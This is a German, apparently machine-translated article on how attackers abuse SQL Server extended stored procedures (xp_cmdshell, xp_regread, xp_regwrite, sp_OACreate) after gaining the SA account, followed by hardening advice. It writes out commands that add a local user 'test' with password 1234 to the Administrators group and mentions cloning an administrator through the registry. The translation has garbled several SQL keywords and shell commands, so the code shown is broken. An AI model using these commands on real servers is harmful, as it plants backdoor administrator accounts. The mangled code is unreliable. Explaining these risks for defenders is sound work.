Gespeicherte Prozeduren sind eine Sammlung vorgefertigter SQL-Anweisungen, die in SQLServer gespeichert sind, wobei die gefährlichsten erweiterten Speicherprozeduren xp_cmdshell sind, die beliebige Anweisungen des Betriebssystems ausführen können, und SA ist das Administratorkonto von Microsoft SQLServer, mit den höchsten Privilegien, es kann erweiterte gespeicherte Prozeduren ausführen und Rückgabewerte erhalten, wie zum Beispiel die Ausführung:
Exec Master.. xp_cmdshell 'Net User Test 1234 /add' und Executive Master: xp_cmdshell 'Net Localgroup Administrators test /add'
Auf diese Weise werden ein benutzerdefinierter Test, Passwort 1234 und Administratorrechte zum System der anderen Partei hinzugefügt, wie in Abbildung 1 dargestellt.
Jetzt solltest du verstehen, warum du das SA-Passwort hast und die höchsten Rechte des Systems hast. Oft kennen viele Netzwerkadministratoren diese Situation nicht und haben einige einfache Passwörter wie 1234 und 4321 für ihre SA-Nutzer oder setzen sogar keine Passwörter, sodass Netzwerkunbrecher das SA-Passwort mit Hacking-Tools leicht scannen und dann den Computer kontrollieren können.
Neben xp_cmdshell gibt es auch gespeicherte Verfahren, die von Eindringlingen ausgenutzt werden können:
1. xp_regread (diese erweiterte gespeicherte Prozedur kann den im im Register angegebenen Schlüssel angegebenen Wert lesen), wie verwendet man sie (den Maschinennamen erhalten):
ERKLÄRUNG@testVarchar(50) EXEC-Meister... xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test AUSGABE SELECT @test
2. xp_regwrite (dieses erweiterte gespeicherte Verfahren kann den im im Registry angegebenen Schlüssel angegebenen Wert schreiben) und wie man ihn verwendet (schreibe bbb im Schlüssel HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC-Meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Wenn der Administrator-Benutzer des kompromittierten Computers die HKEY_LOCAL_MACHINE\SAM\SAM\-Informationen im Register durchsuchen kann, können die beiden gespeicherten Verfahren xp_regread und xp_regwrite verwendet werden, um den Administrator-Benutzer zu klonen und Administratorrechte zu erhalten. xp_regdeletekey. xp_regdeletevalue bringt auch Sicherheitsrisiken für das System mit sich. 3. Eine Reihe von OLE-bezogenen Speicherverfahren, diese Reihe von Speicherverfahren wird sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop verwendet:
DEKLARIEREN @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net-user test 1234 /add'--
Auf diese Weise fügt das andere System einen benutzerbenannten Test und einen Benutzer mit dem Passwort 1234 hinzu und führt dann aus:
DEKLARIEREN @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c netz-localgroup-administratoren testen /add '--
Benutzertest, hinzugefügt zur Administratoren-Gruppe. Lösung: Geben Sie SA ein Passwort, das komplex genug ist, um es Cyberangreifern schwer zu machen, es zu knacken. Aus Sicherheitsgründen müssen wir außerdem gespeicherte Prozeduren in SQLS sp_addextendedproc sp_dropextendedproc Ervers Abfrageanalysator verwenden, sp_dropextendedproc gespeicherte Prozeduren wie xp_cmdshell löschen und dann bei Bedarf sp_addextendedproc Wiederherstellung verwenden. Es sollte beachtet werden, dass das Löschen gespeicherter Verfahren im Zusammenhang mit OLE dazu führen kann, dass einige Funktionen im Enterprise Manager unbrauchbar sind, und der Autor empfiehlt nicht, diese hier zu löschen.
Jetzt, wo wir wissen, wie man SP_OACREATE benutzt, können wir zu \WINNT \system32 gehen, um die cmd.exe, net.exe und net1.exe drei Dateien zu finden und alle Benutzer löschen, die auf sie in den "Eigenschaften" – "Sicherheit" – zugreifen können, sodass wir SP_OACREATE nicht mehr nutzen können, um die Anzahl der Systemnutzer zu erhöhen, und wir können Zugriff auf Benutzer hinzufügen, wenn wir auf diese Dateien zugreifen müssen.
|